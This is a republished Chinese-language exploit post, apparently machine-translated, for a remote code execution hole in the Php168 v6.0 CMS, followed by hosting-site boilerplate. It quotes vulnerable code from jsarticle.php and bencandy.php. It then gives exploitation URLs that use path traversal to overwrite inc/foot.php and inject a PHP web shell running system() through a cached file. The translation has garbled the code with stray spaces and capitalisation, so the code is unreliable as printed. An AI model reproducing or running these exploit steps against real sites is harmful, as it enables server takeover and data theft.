Php168 v6.0 shell Vulnerability

Source: Internet
Author: User

By: mr_xhming

Do/Under the jsarticle. php file in two steps
If (! Eregi ("^ (hot | com | new | lastview | like | pic) $", $ type )){
Die ("incorrect type ");
}
$ FileName = dirname (_ FILE _). "/../cache/jsarticle_cache /";
If ($ type = like ){
$ FileName. = floor ($ id/3000 )."/";
} Else {
Unset ($ id );
}

$ FileName. = "{$ type }_{ $ fid }_{ $ id}. php ";
..................
If (! Is_dir (dirname ($ FileName ))){
Makepath (dirname ($ FileName ));
}
If (time ()-filemtime ($ FileName)> ($ webdb ["cache_time _ $ type"] * 60 )){
Write_file ($ FileName, "<? Php $ show = stripslashes (". addslashes ($ show).");?> ");

// Write_file overwrite any PHP file! Because id is not filtered

}

The second do/bencandy. php file
Require_once (dirname (_ FILE _). "/". "global. php ");
! $ Aid & $ aid = intval ($ id );
$ Id = $ aid;
$ Page <1 & $ page = 1;

$ Min = intval ($ page)-1;
$ Erp = $ Fid_db [iftable] [$ fid]? $ Fid_db [iftable] [$ fid]:;
$ Rsdb = $ db-> get_one ("select r. *,. * FROM {$ pre} article $ erp a left join {$ pre} reply $ erp r on. aid = R. aid where. aid = $ aid order by r. topic DESC, R. orderid asc limit $ min, 1 ");

If (! $ Rsdb ){
Showerr ("data does not exist! ");
} Elseif ($ fid! = $ Rsdb [fid]) {
Showerr ("Incorrect FID ");
}
........................
$ Cache_FileName = PHP168_PATH. "cache/bencandy_cache/". floor ($ id/3000). "/{$ id }_{ $ page}. php ";
If (! $ Jobs & $ webdb [bencandy_cache_time] & (time ()-filemtime ($ Cache_FileName) <($ webdb [bencandy_cache_time] * 60 )){
Echo read_file ($ Cache_FileName );
Exit;
}
..................................

If (! $ Jobs & $ webdb [bencandy_cache_time] & (time ()-filemtime ($ Cache_FileName)> ($ webdb [bencandy_cache_time] * 60 )){

If (! Is_dir (dirname ($ Cache_FileName ))){
Makepath (dirname ($ Cache_FileName ));
}
$ Content. = "<script language = JavaScript src = $ webdb [www_url]/do/job. php? Job = updatehits & aid = $ id> </SCRIPT> ";
Write_file ($ Cache_FileName, $ content); // note that the file is written here.
} Elseif ($ jobs = show ){
@ Unlink ($ Cache_FileName );
}
Here, the problem is almost fixed. Let's take a look at $ content. In fact, it was initialized. You can see require (PHP168_PATH. "inc/foot. php "); in this case, the initialization is here. We will use the first question to overwrite the content in this file, and then we can directly submit the $ content Variable to inject shell code!

Exploitation:
Do/jsarticle. php? Type = like & id = xhming/..././inc/foot
Do/bencandy. php? Fid = 4 & id = 582 & content = <? System ($ xhming); phpinfo ()?>
Cache/bencandy_cache/0/582_1.php // remember the id value, because there is cache and time to judge each step will wait

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.